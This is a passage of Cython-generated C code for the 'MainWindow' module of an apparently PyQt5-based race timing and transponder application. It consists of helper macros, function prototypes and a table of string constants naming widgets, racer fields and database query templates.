__Pyx_RefNannyFinishContext()\ __Pyx_RefNanny->FinishContext(&__pyx_refnanny) #define __Pyx_INCREF(r) __Pyx_RefNanny->INCREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_DECREF(r) __Pyx_RefNanny->DECREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_GOTREF(r) __Pyx_RefNanny->GOTREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_GIVEREF(r) __Pyx_RefNanny->GIVEREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_XINCREF(r) do { if((r) != NULL) {__Pyx_INCREF(r); }} while(0) #define __Pyx_XDECREF(r) do { if((r) != NULL) {__Pyx_DECREF(r); }} while(0) #define __Pyx_XGOTREF(r) do { if((r) != NULL) {__Pyx_GOTREF(r); }} while(0) #define __Pyx_XGIVEREF(r) do { if((r) != NULL) {__Pyx_GIVEREF(r);}} while(0) #else #define __Pyx_RefNannyDeclarations #define __Pyx_RefNannySetupContext(name, acquire_gil) #define __Pyx_RefNannyFinishContext() #define __Pyx_INCREF(r) Py_INCREF(r) #define __Pyx_DECREF(r) Py_DECREF(r) #define __Pyx_GOTREF(r) #define __Pyx_GIVEREF(r) #define __Pyx_XINCREF(r) Py_XINCREF(r) #define __Pyx_XDECREF(r) Py_XDECREF(r) #define __Pyx_XGOTREF(r) #define __Pyx_XGIVEREF(r) #endif #define __Pyx_XDECREF_SET(r, v) do {\ PyObject *tmp = (PyObject *) r;\ r = v; __Pyx_XDECREF(tmp);\ } while (0) #define __Pyx_DECREF_SET(r, v) do {\ PyObject *tmp = (PyObject *) r;\ r = v; __Pyx_DECREF(tmp);\ } while (0) #define __Pyx_CLEAR(r) do { PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);} while(0) #define __Pyx_XCLEAR(r) do { if((r) != NULL) {PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);}} while(0) /* PyObjectGetAttrStr.proto */ #if CYTHON_USE_TYPE_SLOTS static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name) { PyTypeObject* tp = Py_TYPE(obj); if (likely(tp->tp_getattro)) return tp->tp_getattro(obj, attr_name); #if PY_MAJOR_VERSION < 3 if (likely(tp->tp_getattr)) return tp->tp_getattr(obj, PyString_AS_STRING(attr_name)); #endif return PyObject_GetAttr(obj, attr_name); } #else #define __Pyx_PyObject_GetAttrStr(o,n) PyObject_GetAttr(o,n) #endif /* GetBuiltinName.proto */ static PyObject *__Pyx_GetBuiltinName(PyObject *name); /* RaiseArgTupleInvalid.proto */ static void __Pyx_RaiseArgtupleInvalid(const char* func_name, int exact, Py_ssize_t num_min, Py_ssize_t num_max, Py_ssize_t num_found); /* RaiseDoubleKeywords.proto */ static void __Pyx_RaiseDoubleKeywordsError(const char* func_name, PyObject* kw_name); /* ParseKeywords.proto */ static int __Pyx_ParseOptionalKeywords(PyObject *kwds, PyObject **argnames[],\ PyObject *kwds2, PyObject *values[], Py_ssize_t num_pos_args,\ const char* function_name); /* PyObjectSetAttrStr.proto */ #if CYTHON_USE_TYPE_SLOTS #define __Pyx_PyObject_DelAttrStr(o,n) __Pyx_PyObject_SetAttrStr(o,n,NULL) static CYTHON_INLINE int __Pyx_PyObject_SetAttrStr(PyObject* obj, PyObject* attr_name, PyObject* value) { PyTypeObject* tp = Py_TYPE(obj); if (likely(tp->tp_setattro)) return tp->tp_setattro(obj, attr_name, value); #if PY_MAJOR_VERSION < 3 if (likely(tp->tp_setattr)) return tp->tp_setattr(obj, PyString_AS_STRING(attr_name), value); #endif return PyObject_SetAttr(obj, attr_name, value); } #else #define __Pyx_PyObject_DelAttrStr(o,n) PyObject_DelAttr(o,n) #define __Pyx_PyObject_SetAttrStr(o,n,v) PyObject_SetAttr(o,n,v) #endif /* GetModuleGlobalName.proto */ static CYTHON_INLINE PyObject *__Pyx_GetModuleGlobalName(PyObject *name); /* PyObjectCall.proto */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw); #else #define __Pyx_PyObject_Call(func, arg, kw) PyObject_Call(func, arg, kw) #endif /* PyCFunctionFastCall.proto */ #if CYTHON_FAST_PYCCALL static CYTHON_INLINE PyObject *__Pyx_PyCFunction_FastCall(PyObject *func, PyObject **args, Py_ssize_t nargs); #else #define __Pyx_PyCFunction_FastCall(func, args, nargs) (assert(0), NULL) #endif /* PyFunctionFastCall.proto */ #if CYTHON_FAST_PYCALL #define __Pyx_PyFunction_FastCall(func, args, nargs)\ __Pyx_PyFunction_FastCallDict((func), (args), (nargs), NULL) #if 1 || PY_VERSION_HEX < 0x030600B1 static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, int nargs, PyObject *kwargs); #else #define __Pyx_PyFunction_FastCallDict(func, args, nargs, kwargs) _PyFunction_FastCallDict(func, args, nargs, kwargs) #endif #endif /* PyObjectCallMethO.proto */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg); #endif /* PyObjectCallOneArg.proto */ static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg); /* PyObjectCallNoArg.proto */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func); #else #define __Pyx_PyObject_CallNoArg(func) __Pyx_PyObject_Call(func, __pyx_empty_tuple, NULL) #endif /* DictGetItem.proto */ #if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY static PyObject *__Pyx_PyDict_GetItem(PyObject *d, PyObject* key) { PyObject *value; value = PyDict_GetItemWithError(d, key); if (unlikely(!value)) { if (!PyErr_Occurred()) { PyObject* args = PyTuple_Pack(1, key); if (likely(args)) PyErr_SetObject(PyExc_KeyError, args); Py_XDECREF(args); } return NULL; } Py_INCREF(value); return value; } #else #define __Pyx_PyDict_GetItem(d, key) PyObject_GetItem(d, key) #endif /* PyThreadStateGet.proto */ #if CYTHON_FAST_THREAD_STATE #define __Pyx_PyThreadState_declare PyThreadState *__pyx_tstate; #define __Pyx_PyThreadState_assign __pyx_tstate = PyThreadState_GET(); #else #define __Pyx_PyThreadState_declare #define __Pyx_PyThreadState_assign #endif /* SaveResetException.proto */ #if CYTHON_FAST_THREAD_STATE #define __Pyx_ExceptionSave(type, value, tb) __Pyx__ExceptionSave(__pyx_tstate, type, value, tb) static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); #define __Pyx_ExceptionReset(type, value, tb) __Pyx__ExceptionReset(__pyx_tstate, type, value, tb) static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); #else #define __Pyx_ExceptionSave(type, value, tb) PyErr_GetExcInfo(type, value, tb) #define __Pyx_ExceptionReset(type, value, tb) PyErr_SetExcInfo(type, value, tb) #endif /* PyErrExceptionMatches.proto */ #if CYTHON_FAST_THREAD_STATE #define __Pyx_PyErr_ExceptionMatches(err) __Pyx_PyErr_ExceptionMatchesInState(__pyx_tstate, err) static CYTHON_INLINE int __Pyx_PyErr_ExceptionMatchesInState(PyThreadState* tstate, PyObject* err); #else #define __Pyx_PyErr_ExceptionMatches(err) PyErr_ExceptionMatches(err) #endif /* GetException.proto */ #if CYTHON_FAST_THREAD_STATE #define __Pyx_GetException(type, value, tb) __Pyx__GetException(__pyx_tstate, type, value, tb) static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); #else static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb); #endif /* PyErrFetchRestore.proto */ #if CYTHON_FAST_THREAD_STATE #define __Pyx_ErrRestoreWithState(type, value, tb) __Pyx_ErrRestoreInState(PyThreadState_GET(), type, value, tb) #define __Pyx_ErrFetchWithState(type, value, tb) __Pyx_ErrFetchInState(PyThreadState_GET(), type, value, tb) #define __Pyx_ErrRestore(type, value, tb) __Pyx_ErrRestoreInState(__pyx_tstate, type, value, tb) #define __Pyx_ErrFetch(type, value, tb) __Pyx_ErrFetchInState(__pyx_tstate, type, value, tb) static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); #else #define __Pyx_ErrRestoreWithState(type, value, tb) PyErr_Restore(type, value, tb) #define __Pyx_ErrFetchWithState(type, value, tb) PyErr_Fetch(type, value, tb) #define __Pyx_ErrRestore(type, value, tb) PyErr_Restore(type, value, tb) #define __Pyx_ErrFetch(type, value, tb) PyErr_Fetch(type, value, tb) #endif /* SwapException.proto */ #if CYTHON_FAST_THREAD_STATE #define __Pyx_ExceptionSwap(type, value, tb) __Pyx__ExceptionSwap(__pyx_tstate, type, value, tb) static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); #else static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb); #endif /* GetItemInt.proto */ #define __Pyx_GetItemInt(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ __Pyx_GetItemInt_Fast(o, (Py_ssize_t)i, is_list, wraparound, boundscheck) :\ (is_list ? (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL) :\ __Pyx_GetItemInt_Generic(o, to_py_func(i)))) #define __Pyx_GetItemInt_List(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ __Pyx_GetItemInt_List_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\ (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL)) static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i, int wraparound, int boundscheck); #define __Pyx_GetItemInt_Tuple(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ __Pyx_GetItemInt_Tuple_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\ (PyErr_SetString(PyExc_IndexError, "tuple index out of range"), (PyObject*)NULL)) static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i, int wraparound, int boundscheck); static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j); static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i, int is_list, int wraparound, int boundscheck); /* PySequenceContains.proto */ static CYTHON_INLINE int __Pyx_PySequence_ContainsTF(PyObject* item, PyObject* seq, int eq) { int result = PySequence_Contains(seq, item); return unlikely(result < 0) ? result : (result == (eq == Py_EQ)); } /* PyIntBinop.proto */ #if !CYTHON_COMPILING_IN_PYPY static PyObject* __Pyx_PyInt_AddObjC(PyObject *op1, PyObject *op2, long intval, int inplace); #else #define __Pyx_PyInt_AddObjC(op1, op2, intval, inplace)\ (inplace ? PyNumber_InPlaceAdd(op1, op2) : PyNumber_Add(op1, op2)) #endif /* FetchCommonType.proto */ static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type); /* CythonFunction.proto */ #define __Pyx_CyFunction_USED 1 #include <structmember.h> #define __Pyx_CYFUNCTION_STATICMETHOD 0x01 #define __Pyx_CYFUNCTION_CLASSMETHOD 0x02 #define __Pyx_CYFUNCTION_CCLASS 0x04 #define __Pyx_CyFunction_GetClosure(f)\ (((__pyx_CyFunctionObject *) (f))->func_closure) #define __Pyx_CyFunction_GetClassObj(f)\ (((__pyx_CyFunctionObject *) (f))->func_classobj) #define __Pyx_CyFunction_Defaults(type, f)\ ((type *)(((__pyx_CyFunctionObject *) (f))->defaults)) #define __Pyx_CyFunction_SetDefaultsGetter(f, g)\ ((__pyx_CyFunctionObject *) (f))->defaults_getter = (g) typedef struct { PyCFunctionObject func; #if PY_VERSION_HEX < 0x030500A0 PyObject *func_weakreflist; #endif PyObject *func_dict; PyObject *func_name; PyObject *func_qualname; PyObject *func_doc; PyObject *func_globals; PyObject *func_code; PyObject *func_closure; PyObject *func_classobj; void *defaults; int defaults_pyobjects; int flags; PyObject *defaults_tuple; PyObject *defaults_kwdict; PyObject *(*defaults_getter)(PyObject *); PyObject *func_annotations; } __pyx_CyFunctionObject; static PyTypeObject *__pyx_CyFunctionType = 0; #define __Pyx_CyFunction_NewEx(ml, flags, qualname, self, module, globals, code)\ __Pyx_CyFunction_New(__pyx_CyFunctionType, ml, flags, qualname, self, module, globals, code) static PyObject *__Pyx_CyFunction_New(PyTypeObject *, PyMethodDef *ml, int flags, PyObject* qualname, PyObject *self, PyObject *module, PyObject *globals, PyObject* code); static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *m, size_t size, int pyobjects); static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *m, PyObject *tuple); static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *m, PyObject *dict); static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *m, PyObject *dict); static int __pyx_CyFunction_init(void); /* PyIntBinop.proto */ #if !CYTHON_COMPILING_IN_PYPY static PyObject* __Pyx_PyInt_EqObjC(PyObject *op1, PyObject *op2, long intval, int inplace); #else #define __Pyx_PyInt_EqObjC(op1, op2, intval, inplace)\ PyObject_RichCompare(op1, op2, Py_EQ) #endif /* Import.proto */ static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level); /* ImportFrom.proto */ static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name); /* CalculateMetaclass.proto */ static PyObject *__Pyx_CalculateMetaclass(PyTypeObject *metaclass, PyObject *bases); /* Py3ClassCreate.proto */ static PyObject *__Pyx_Py3MetaclassPrepare(PyObject *metaclass, PyObject *bases, PyObject *name, PyObject *qualname, PyObject *mkw, PyObject *modname, PyObject *doc); static PyObject *__Pyx_Py3ClassCreate(PyObject *metaclass, PyObject *name, PyObject *bases, PyObject *dict, PyObject *mkw, int calculate_metaclass, int allow_py2_metaclass); /* CodeObjectCache.proto */ typedef struct { PyCodeObject* code_object; int code_line; } __Pyx_CodeObjectCacheEntry; struct __Pyx_CodeObjectCache { int count; int max_count; __Pyx_CodeObjectCacheEntry* entries; }; static struct __Pyx_CodeObjectCache __pyx_code_cache = {0,0,NULL}; static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line); static PyCodeObject *__pyx_find_code_object(int code_line); static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object); /* AddTraceback.proto */ static void __Pyx_AddTraceback(const char *funcname, int c_line, int py_line, const char *filename); /* CIntToPy.proto */ static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value); /* CIntFromPy.proto */ static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *); /* CIntFromPy.proto */ static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *); /* CheckBinaryVersion.proto */ static int __Pyx_check_binary_version(void); /* InitStrings.proto */ static int __Pyx_InitStrings(__Pyx_StringTabEntry *t); /* Module declarations from 'MainWindow' */ #define __Pyx_MODULE_NAME "MainWindow" int __pyx_module_is_main_MainWindow = 0; /* Implementation of 'MainWindow' */ static PyObject *__pyx_builtin_super; static PyObject *__pyx_builtin_print; static const char __pyx_k_c[] = "c"; static const char __pyx_k_d[] = "%d"; static const char __pyx_k_e[] = "e"; static const char __pyx_k_i[] = "i"; static const char __pyx_k_q[] = "q"; static const char __pyx_k_r[] = "r"; static const char __pyx_k_5d[] = "%5d"; static const char __pyx_k_8d[] = "%8d"; static const char __pyx_k_Qt[] = "Qt"; static const char __pyx_k__5[] = "%"; static const char __pyx_k__6[] = ""; static const char __pyx_k_fn[] = "fn"; static const char __pyx_k_id[] = "id"; static const char __pyx_k_pa[] = "pa"; static const char __pyx_k_rc[] = "rc"; static const char __pyx_k_rf[] = "rf"; static const char __pyx_k_rl[] = "rl"; static const char __pyx_k_rm[] = "rm"; static const char __pyx_k_rn[] = "rn"; static const char __pyx_k_rp[] = "rp"; static const char __pyx_k_rt[] = "rt"; static const char __pyx_k_tp[] = "tp"; static const char __pyx_k_tt[] = "tt"; static const char __pyx_k_CHE[] = "CHE"; static const char __pyx_k_MX1[] = "MX1"; static const char __pyx_k_MX2[] = "MX2"; static const char __pyx_k_MX3[] = "MX3"; static const char __pyx_k_Pro[] = "Pro"; static const char __pyx_k_Red[] = "Red"; static const char __pyx_k_Top[] = "Top"; static const char __pyx_k_d_2[] = "d"; static const char __pyx_k_dlg[] = "dlg"; static const char __pyx_k_doc[] = "__doc__"; static const char __pyx_k_lap[] = "lap"; static const char __pyx_k_nom[] = "nom"; static const char __pyx_k_npa[] = "npa"; static const char __pyx_k_pop[] = "pop"; static const char __pyx_k_pos[] = "pos"; static const char __pyx_k_row[] = "row"; static const char __pyx_k_s_d[] = "%s (%d)"; static const char __pyx_k_4_0d[] = "%4.0d"; static const char __pyx_k_Blue[] = "Blue"; static const char __pyx_k_Cyan[] = "Cyan"; static const char __pyx_k_Mini[] = "Mini"; static const char __pyx_k_data[] = "data"; static const char __pyx_k_exec[] = "exec_"; static const char __pyx_k_init[] = "__init__"; static const char __pyx_k_item[] = "item"; static const char __pyx_k_main[] = "main"; static const char __pyx_k_moto[] = "moto"; static const char __pyx_k_pays[] = "pays"; static const char __pyx_k_qApp[] = "qApp"; static const char __pyx_k_quit[] = "quit"; static const char __pyx_k_self[] = "self"; static const char __pyx_k_show[] = "show"; static const char __pyx_k_stop[] = "stop"; static const char __pyx_k_task[] = "task"; static const char __pyx_k_test[] = "__test__"; static const char __pyx_k_text[] = "text"; static const char __pyx_k_type[] = "type"; static const char __pyx_k_Green[] = "Green"; static const char __pyx_k_MX125[] = "MX125"; static const char __pyx_k_P_d_s[] = "P(%d):%s"; static const char __pyx_k_PyQt5[] = "PyQt5"; static const char __pyx_k_R_Npa[] = "R_Npa"; static const char __pyx_k_White[] = "White"; static const char __pyx_k_brush[] = "brush"; static const char __pyx_k_clear[] = "clear"; static const char __pyx_k_color[] = "color"; static const char __pyx_k_count[] = "count"; static const char __pyx_k_empty[] = "empty"; static const char __pyx_k_print[] = "print"; static const char __pyx_k_queue[] = "queue"; static const char __pyx_k_racer[] = "racer"; static const char __pyx_k_start[] = "start"; static const char __pyx_k_super[] = "super"; static const char __pyx_k_timer[] = "timer"; static const char __pyx_k_title[] = "title"; static const char __pyx_k_ville[] = "ville"; static const char __pyx_k_B_Stop[] = "B_Stop"; static const char __pyx_k_Carton[] = "Carton"; static const char __pyx_k_QBrush[] = "QBrush"; static const char __pyx_k_QTimer[] = "QTimer"; static const char __pyx_k_QtCore[] = "QtCore"; static const char __pyx_k_RB_Add[] = "RB_Add"; static const char __pyx_k_R_City[] = "R_City"; static const char __pyx_k_R_Pays[] = "R_Pays"; static const char __pyx_k_T_Pays[] = "T_Pays"; static const char __pyx_k_colors[] = "colors"; static const char __pyx_k_column[] = "column"; static const char __pyx_k_data_2[] = "_data"; static const char __pyx_k_import[] = "__import__"; static const char __pyx_k_main_2[] = "__main__"; static const char __pyx_k_millis[] = "millis"; static const char __pyx_k_module[] = "__module__"; static const char __pyx_k_numero[] = "numero"; static const char __pyx_k_parent[] = "parent"; static const char __pyx_k_prenom[] = "prenom"; static const char __pyx_k_r_item[] = "r_item"; static const char __pyx_k_B_Start[] = "B_Start"; static const char __pyx_k_Globals[] = "Globals"; static const char __pyx_k_Nouveau[] = "Nouveau"; static const char __pyx_k_T_Racer[] = "T_Racer"; static const char __pyx_k_T_Ville[] = "T_Ville"; static const char __pyx_k_addItem[] = "addItem"; static const char __pyx_k_bestlap[] = "bestlap"; static const char __pyx_k_clicked[] = "clicked"; static const char __pyx_k_connect[] = "connect"; static const char __pyx_k_findNpa[] = "findNpa"; static const char __pyx_k_getDict[] = "getDict"; static const char __pyx_k_indexOf[] = "indexOf"; static const char __pyx_k_initGui[] = "initGui"; static const char __pyx_k_lastlap[] = "lastlap"; static const char __pyx_k_marques[] = "marques"; static const char __pyx_k_monitor[] = "monitor"; static const char __pyx_k_prepare[] = "__prepare__"; static const char __pyx_k_setData[] = "setData"; static const char __pyx_k_setFont[] = "setFont"; static const char __pyx_k_setItem[] = "setItem"; static const char __pyx_k_setLine[] = "setLine"; static const char __pyx_k_setText[] = "setText"; static const char __pyx_k_setupUi[] = "setupUi"; static const char __pyx_k_t_ville[] = "t_ville"; static const char __pyx_k_timeout[] = "timeout"; static const char __pyx_k_B_Define[] = "B_Define"; static const char __pyx_k_R_number[] = "R_number"; static const char __pyx_k_TP__8_8X[] = "TP_%8.8X"; static const char __pyx_k_UserRole[] = "UserRole"; static const char __pyx_k_addRacer[] = "addRacer"; static const char __pyx_k_findData[] = "findData"; static const char __pyx_k_getRacer[] = "getRacer"; static const char __pyx_k_itemData[] = "itemData"; static const char __pyx_k_lapcount[] = "lapcount"; static const char __pyx_k_lasttick[] = "lasttick"; static const char __pyx_k_max_time[] = "max_time"; static const char __pyx_k_oldracer[] = "oldracer"; static const char __pyx_k_qualname[] = "__qualname__"; static const char __pyx_k_raceLaps[] = "raceLaps"; static const char __pyx_k_receiver[] = "receiver"; static const char __pyx_k_ridernum[] = "ridernum"; static const char __pyx_k_rowCount[] = "rowCount"; static const char __pyx_k_setRacer[] = "setRacer"; static const char __pyx_k_setStyle[] = "setStyle"; static const char __pyx_k_text_red[] = "text_red"; static const char __pyx_k_theRacer[] = "theRacer"; static const char __pyx_k_totticks[] = "totticks"; static const char __pyx_k_QtWidgets[] = "QtWidgets"; static const char __pyx_k_T_Marques[] = "T_Marques"; static const char __pyx_k_categorie[] = "_categorie"; static const char __pyx_k_editRacer[] = "editRacer"; static const char __pyx_k_findItems[] = "findItems"; static const char __pyx_k_findVille[] = "findVille"; static const char __pyx_k_getRecord[] = "getRecord"; static const char __pyx_k_insertRow[] = "insertRow"; static const char __pyx_k_metaclass[] = "__metaclass__"; static const char __pyx_k_newRecord[] = "newRecord"; static const char __pyx_k_racerList[] = "racerList"; static const char __pyx_k_removeRow[] = "removeRow"; static const char __pyx_k_ridername[] = "ridername"; static const char __pyx_k_startRace[] = "startRace"; static const char __pyx_k_text_blue[] = "text_blue"; static const char __pyx_k_textcolor[] = "textcolor"; static const char __pyx_k_translate[] = "translate"; static const char __pyx_k_triggered[] = "triggered"; static const char __pyx_k_C_listFont[] = "C_listFont"; static const char __pyx_k_MainWindow[] = "MainWindow"; static const char __pyx_k_R_RaceLive[] = "R_RaceLive"; static const char __pyx_k_R_lastname[] = "R_lastname"; static const char __pyx_k_createTime[] = "createTime"; static const char __pyx_k_currentRow[] = "currentRow"; static const char __pyx_k_findNumber[] = "findNumber"; static const char __pyx_k_get_nowait[] = "get_nowait"; static const char __pyx_k_manageRace[] = "manageRace"; static const char __pyx_k_setRacerTb[] = "setRacerTb"; static const char __pyx_k_setTabText[] = "setTabText"; static const char __pyx_k_text_green[] = "text_green"; static const char __pyx_k_Concurrents[] = "Concurrents"; static const char __pyx_k_L_racerlist[] = "L_racerlist"; static const char __pyx_k_PyQt5_QtGui[] = "PyQt5.QtGui"; static const char __pyx_k_QMainWindow[] = "QMainWindow"; static const char __pyx_k_R_brandMenu[] = "R_brandMenu"; static const char __pyx_k_R_firstname[] = "R_firstname"; static const char __pyx_k_Set_RacerTp[] = "Set_RacerTp"; static const char __pyx_k_concurrents[] = "concurrents"; static const char __pyx_k_initGuiPays[] = "initGuiPays"; static const char __pyx_k_tpRacerList[] = "tpRacerList"; static const char __pyx_k_transponder[] = "transponder"; static const char __pyx_k_PyQt5_QtCore[] = "PyQt5.QtCore"; static const char __pyx_k_SolidPattern[] = "SolidPattern"; static const char __pyx_k_TM_T_passage[] = "TM_T_passage"; static const char __pyx_k_currentIndex[] = "currentIndex"; static const char __pyx_k_display_TRUE[] = "display = TRUE"; static const char __pyx_k_findNumRacer[] = "findNumRacer"; static const char __pyx_k_oldracerItem[] = "oldracerItem"; static const char __pyx_k_raceDuration[] = "raceDuration"; static const char __pyx_k_setRowHeight[] = "setRowHeight"; static const char __pyx_k_R_transponder[] = "R_transponder"; static const char __pyx_k_Starting_Race[] = "Starting Race"; static const char __pyx_k_T_Concurrents[] = "T_Concurrents"; static const char __pyx_k_Tab_Container[] = "Tab_Container"; static const char __pyx_k_Ui_MainWindow[] = "Ui_MainWindow"; static const char __pyx_k_actionQuitter[] = "actionQuitter"; static const char __pyx_k_getActualRace[] = "getActualRace"; static const char __pyx_k_getNextRecord[] = "getNextRecord"; static const char __pyx_k_requestDefine[] = "requestDefine"; static const char __pyx_k_returnPressed[] = "returnPressed"; static const char __pyx_k_setBackground[] = "setBackground"; static const char __pyx_k_tables_T_Pays[] = "tables.T_Pays"; static const char __pyx_k_text_inverted[] = "text_inverted"; static const char __pyx_k_updateMonitor[] = "updateMonitor"; static const char __pyx_k_connectActions[] = "connectActions"; static const char __pyx_k_initGuiMarques[] = "initGuiMarques"; static const char __pyx_k_setCurrentItem[] = "setCurrentItem"; static const char __pyx_k_tables_T_Ville[] = "tables.T_Ville"; static const char __pyx_k_MainWindow_main[] = "MainWindow.main"; static const char __pyx_k_MatchStartsWith[] = "MatchStartsWith"; static const char __pyx_k_QListWidgetItem[] = "QListWidgetItem"; static const char __pyx_k_gui_Set_RacerTp[] = "gui.Set_RacerTp"; static const char __pyx_k_setColumnHidden[] = "setColumnHidden"; static const char __pyx_k_setCurrentIndex[] = "setCurrentIndex"; static const char __pyx_k_QCoreApplication[] = "QCoreApplication"; static const char __pyx_k_QTableWidgetItem[] = "QTableWidgetItem"; static const char __pyx_k_in_updateNonitor[] = "in updateNonitor"; static const char __pyx_k_tables_T_Marques[] = "tables.T_Marques"; static const char __pyx_k_MainWindow___init[] = "MainWindow.__init__"; static const char __pyx_k_gui_Ui_MainWindow[] = "gui.Ui_MainWindow"; static const char __pyx_k_itemDoubleClicked[] = "itemDoubleClicked"; static const char __pyx_k_setSortingEnabled[] = "setSortingEnabled"; static const char __pyx_k_MainWindow_findNpa[] = "MainWindow.findNpa"; static const char __pyx_k_MainWindow_initGui[] = "MainWindow.initGui"; static const char __pyx_k_dictBestLapMonitor[] = "dictBestLapMonitor"; static const char __pyx_k_initGuiConcurrents[] = "initGuiConcurrents"; static const char __pyx_k_MainWindow_addRacer[] = "MainWindow.addRacer"; static const char __pyx_k_MainWindow_getRacer[] = "MainWindow.getRacer"; static const char __pyx_k_MainWindow_setRacer[] = "MainWindow.setRacer"; static const char __pyx_k_currentIndexChanged[] = "currentIndexChanged"; static const char __pyx_k_initListConcurrents[] = "initListConcurrents"; static const char __pyx_k_C_concurrents_ID_fmt[] = "C_concurrents_ID_fmt"; static const char __pyx_k_C_concurrents_TP_fmt[] = "C_concurrents_TP_fmt"; static const char __pyx_k_MainWindow_editRacer[] = "MainWindow.editRacer"; static const char __pyx_k_MainWindow_findVille[] = "MainWindow.findVille"; static const char __pyx_k_MainWindow_startRace[] = "MainWindow.startRace"; static const char __pyx_k_tables_T_Concurrents[] = "tables.T_Concurrents"; static const char __pyx_k_MainWindow_setRacerTb[] = "MainWindow.setRacerTb"; static const char __pyx_k_Race_allready_running[] = "Race allready running"; static const char __pyx_k_C_concurrents_item_fmt[] = "C_concurrents_item_fmt"; static const char __pyx_k_C_concurrents_moni_fmt[] = "C_concurrents_moni_fmt"; static const char __pyx_k_MainWindow__ActualRace[] = "_MainWindow__ActualRace"; static const char __pyx_k_MainWindow_initGuiPays[] = "MainWindow.initGuiPays"; static const char __pyx_k_MainWindow__RacerEdited[] = "_MainWindow__RacerEdited"; static const char __pyx_k_MainWindow_findNumRacer[] = "MainWindow.findNumRacer"; static const char __pyx_k_MainWindow_getActualRace[] = "MainWindow.getActualRace"; static const char __pyx_k_MainWindow_updateMonitor[] = "MainWindow.updateMonitor"; static const char __pyx_k_MainWindow_connectActions[] = "MainWindow.connectActions"; static const char __pyx_k_MainWindow_initGuiMarques[] = "MainWindow.initGuiMarques"; static const char __pyx_k_nom_LIKE_s_AND_pays_LIKE_s[] = "nom LIKE '%s' AND pays LIKE '%s'"; static const char __pyx_k_npa_LIKE_s_AND_pays_LIKE_s[] = "npa LIKE '%s' AND pays LIKE '%s'"; static const char __pyx_k_nom_LIKE_s_c_AND_pays_LIKE_s[] = "nom LIKE '%s%c' AND pays LIKE '%s'"; static const char __pyx_k_MainWindow_initGuiConcurrents[] = "MainWindow.initGuiConcurrents"; static const char __pyx_k_MainWindow_initListConcurrents[] = "MainWindow.initListConcurrents"; static const char __pyx_k_MainWindow_updateMonitor_locals[] = "MainWindow.updateMonitor.<locals>.setLine"; static const char __pyx_k_home_thor_Devel_Transponder_Chr[] = "/home/thor/Devel/Transponder/Chrono/gui/MainWindow.py"; static const char __pyx_k_in_updateNonitor_setLine_self_co[] = "in updateNonitor, setLine( self,color,%d,%d,%s)"; static PyObject *__pyx_kp_u_4_0d; static PyObject *__pyx_kp_u_5d; static PyObject *__pyx_kp_u_8d; static PyObject *__pyx_n_s_B_Define; static PyObject *__pyx_n_s_B_Start; static PyObject *__pyx_n_s_B_Stop; static PyObject *__pyx_n_u_Blue; static PyObject *__pyx_n_u_CHE; static PyObject *__pyx_n_s_C_concurrents_ID_fmt; static PyObject *__pyx_n_s_C_concurrents_TP_fmt; static PyObject 